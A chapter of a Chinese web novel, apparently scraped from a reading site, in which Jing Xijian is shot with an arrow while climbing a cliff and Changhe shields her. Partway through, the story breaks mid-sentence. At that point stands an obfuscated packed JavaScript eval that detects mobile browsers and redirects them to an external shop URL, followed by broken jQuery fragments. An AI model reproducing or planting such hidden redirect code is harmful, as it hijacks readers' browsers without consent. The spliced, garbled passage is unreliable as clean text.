文趣网 > 其他小说 > 上善若我 > 7. 入世(柒)
    待水烤好,长鹤将水杯递给镜夕涧:“小心烫。”

    镜夕涧接过水杯,坐在他身边,一边发呆,一边喝水。

    半杯下去,身子总算是回暖了,而这个过程中,身边的少年一直撑着腿静静地陪着她,看着眼前跃动的火焰。

    此时的长鹤和平时大不相同,镜夕涧一时间有些分不清,哪个才是真正的他,哪个又是他演出来的。

    不过,她虽然好奇,却并不打算问,因为有朝一日他若是想的话,自会将真实的自己展现在她面前。

    “对了,你明日不要告诉雪芸我病了。”镜夕涧开口。

    长鹤一顿:“为什么。”

    “当然是不想耽误行程。”镜夕涧吹着捧在手中的热水,“若是等我病好,这一路上一拖,少说就得拖个两三天,两三天的时间,那些人就算再蠢也该找到我们了。”

    长鹤沉默了,因为他知道镜夕涧说的是对的。

    他沉默了很久,久到镜夕涧都以为长鹤不会再回答了,可他却开了口:“那你怎么办?”

    镜夕涧故作轻松一笑:“不怎么办,人的潜力是无限的,当外界的问题比较大的时候,自己的问题就要往后放放了,我也想看看我的极限在哪里。”

    “为什么……一定要进京?”

    “嗯?”镜夕涧抬头,有些意外地看着他。

    长鹤的话语似是有些艰难:“那些人之所以追杀你,就是为了阻止你进京吧,既然如此,到底是什么,值得让你冒着这样的风险也要去金陵。”

    镜夕涧笑了:“那你又为什么要去金陵?”

    “我……”长鹤一时语塞,“我是为了看一眼从前没见过的风景。”

    “所以,为了那份期待,哪怕路上遇到些危险也是值得的,对吗?”镜夕涧没有等他的回答,自顾自说了下去,“我也是如此,我只是想走,想看,只要我觉得这一路上得到的东西值,便可以了。”

    长鹤转头看着她。

    她抱着双腿,用一根树枝戳着跳跃的火焰,说这些话时,她面上的神情很淡,可就是那股淡淡的期望,让人怎么也无法移开视线。

    “一定可以的。”长鹤轻声道。

    后半夜,两人便再度睡去了。

    第二日,雨停了,众人稍作休整,吃了些东西,就准备出发了。

    长鹤恢复了平日里的那副吊儿郎当模样,镜夕涧也一切如常,只是说的话比平时更少了些。

    两人心照不宣地没有提及昨夜,那就像一场梦境,似是没有留下任何痕迹。

    众人走了整整一上午,从旭日初升走到如日中天,总算是将上坡路都走完了,可与此同时,他们也面临着下一段更艰难的路程。

    众人站在遮天蔽日的悬崖峭壁之下,那一整面山壁几近垂直,打眼一看,似是没有任何可以落脚的地方。

    长鹤颤抖着举起那个还没有他手指大的攀岩栓,不确定道:“你是说……我的全部身家性命都要挂在这上面?”

    他手中的攀岩栓看起来不过是一枚小指大的小磨砂片,可他却要将自己挂在上面,徒手去攀这座岩壁。

    “你也可以不挂,徒手攀岩,定会更加刺激。”镜夕涧仰望着眼前的悬崖峭壁,拽了拽腰间绳索,就手脚并用地攀了上去。

    “可、可是……”

    长鹤还想说一些什么,可镜夕涧身形迅捷,早已窜出了一段距离,周围人也纷纷跟随,打眼一望,地上就只剩下了他一个人。

    “喂!你们等等我啊!!!”

    ……

    越往上攀,太阳一点点冒出头,便也越来越热了。

    长鹤满头大汗,除了越来越高的气温,他整个身子从始至终都在紧绷着。

    他甚至不敢往下看,刚才只是稍稍看了一眼下方的万丈深渊,便吓得他险些连七魂六魄都丢了。

    “可以啊,小鹤子,竟然跟上了。”而此时,攀附在岩壁上的镜夕涧竟还有闲工夫和他打招呼。

    长鹤的嘴唇都是白的,他声音颤抖着:“我、我要回家……我要回家!”

    “晚了,攀岩到中途,只能上不能下,你若不一鼓作气攀到顶,便只能从半空中跳下去了。”

    长鹤心如死灰。

    然而就在此时,一道破空之声从身后传来,长鹤根本来不及看,仅仅是凭借直觉,二指一夹。

    镜夕涧睁大双眼看去,长鹤手中夹着的那枚箭矢已深深刺入岩壁,若是这箭矢打在他们身上,她恐怕早已没命了。

    长鹤面上神色骤然变得凌厉,他回头看着隔壁山巅,声音沉沉道:“他们在那里。”

    镜夕涧严肃地点点头,她最担心的情况还是发生了,眼下他们挂在岩壁上,几乎就是活靶子,对方立于隔壁山巅,根本就不可能有任何体能消耗。

    反倒是他们,原本攀岩就极消耗体力,一旦开始爬,手指就不能松开岩点,镜夕涧的手臂已经开始打颤了,眼下还需要躲避箭矢……

    没待她细想,又一枚箭矢飞来,长鹤喉咙一紧,眼睁睁看着那箭矢直直朝镜夕涧的绳索飞来!

    他半个身子挂在岩壁上,心脏几乎停止了跳动。

    那箭矢正中绳索,镜夕涧眼睁睁地看着那决定她命运的绳索崩裂。

    不过,好在最终那绳索只是划破了些许,并没有完全断裂。

    “绳索里面有钢丝,没那么容易断,我们赶快爬上去!”镜夕涧道,话毕,她更加快速地向上攀爬。

    长鹤紧随其后。

    而与此同时,越来越多的箭矢破空而来,即便他们拼命想要攀爬上去,却也为了躲避箭矢而不得不慢下来。

    这还是好的。

    就怕……

    “啊!”

    镜夕涧惨叫一声,长鹤的心跳也随着这声叫喊停了一拍,他朝她看去,这一看,心都沉到了肚子里。

    “镜夕涧!!!”

    “小姐!!!”

    镜夕涧是他们的首要目标,因此射向她的箭矢也最多,她东躲西藏,可后腰还是中了一箭。

    也正是这一箭,让她没扒稳,从岩壁上脱手了!

    镜夕涧已经完全脱手,她额头沁满了冷汗,捂着自己腹部的伤口大口喘着气,仅仅靠着腰间的绳索倒挂在山壁之上,于半空一晃一晃。

    此时她已经完全失去了自主攀爬的自由,根本无法控制自己的身体,而此刻,只要他们再射出一枚箭矢,就可

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523188|203364||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    以轻易带走她的性命!

    长鹤咬牙,看着又一枚凌空而来的箭矢,主动脱了手,朝着镜夕涧纵身一跃!

    他一手抓着腰间的绳索,一手揽过镜夕涧,一蹬山壁,轻盈地跃上了高空,而这悬崖峭壁于他就宛如寻常山路一般,畅通无阻。

    雪芸愣愣地看着这一切,反应过来之后,立刻加速向上攀爬。

    长鹤的身法很快,快到连箭矢都来不及抵达,到了山巅,他将镜夕涧放在地上,查看着她的情况。

    镜夕涧面色煞白,痛苦地咬着毫无血色的嘴唇,连指尖都在颤抖。

    此刻她已没有任何精力去思考什么,身上的痛苦已经完完全全占据了她的大脑。

    “你忍着些,我给你把箭身削去!”长鹤看她痛苦,却也无法,只能抽出一柄短剑将她身后的箭身削去,仅留下箭头。

    他不懂医理,却也知道进入身体的利器不能随意拔出,看着痛苦蜷缩起来的镜夕涧,他却没有任何办法。

    然而就在此时,还有箭矢竟要往山巅射,他脸色瞬间沉了下来,起身站在镜夕涧身前,一挥短剑,将那箭矢精准砍成两半,掉落身下。

    大风开始呼号,长鹤立于山巅,面对着铺天盖地飞来的箭矢,身形却丝毫未变,唯有布衣被吹动些许。

    不知道过了多久,久到那箭雨似乎都有些消弱,雪芸爬了上来。

    “小姐!”一看到趴在地上痛苦的镜夕涧,她就扑了过来,双手颤抖着从自己腰包里拿出绑带和药。

    她此刻已经来不及向长鹤盘问任何东西,只大声喊道:“我现在要为小姐医治,你能挡住吗?!”

    长鹤目光沉沉的看向远处山巅,坚定应道:“能。”

    “那就给我挡好了!小姐出事,我不会放过任何人!!!”

    “呼……啊——”镜夕涧痛苦地汲取着空气,雪芸为她拔出箭头,她痛得喉间泄出阵阵呻吟。

    “小姐,忍着些。”雪芸于心不忍,可她没有办法,哪怕双手抖得要握不住刀,她手上的动作也从未停止。

    等到雪芸为镜夕涧包扎好伤口,抬眼望去,长鹤长身而立,手持双剑,他面前掉落了密密麻麻的断箭,却没有任何一支闯入镜夕涧的地界。

    他像是一道密不透风的屏障,将外面的刀光剑影和镜夕涧隔了开来。

    “锵”一声,雪芸拔剑出鞘,剑尖直指长鹤后脑。

    她看着长鹤冷冷道:“你是什么人?接近小姐有什么目的?”

    眼下镜夕涧暂时没有了性命之危,雪芸才来得及盘问,料想也知,如此武功,又岂是街边一个扒手能有的?

    之前没觉得,现在想想,这小贼偷谁的荷包不好,偏偏要偷镜夕涧的?!

    摆明就是冲着他们来的!

    “我……”长鹤举起双手转身,愣在原地,显然,他没有办法解释这一切。

    “雪芸……”

    就在两人僵持之时,一道微弱的声音从地上传来。

    “不要为难他……”镜夕涧微微睁开眼,艰难出声,“先走。”

    雪芸瞪着长鹤,又见远处山巅藏匿的一群黑衣人,收起手中长剑,将镜夕涧背起。

    “走。”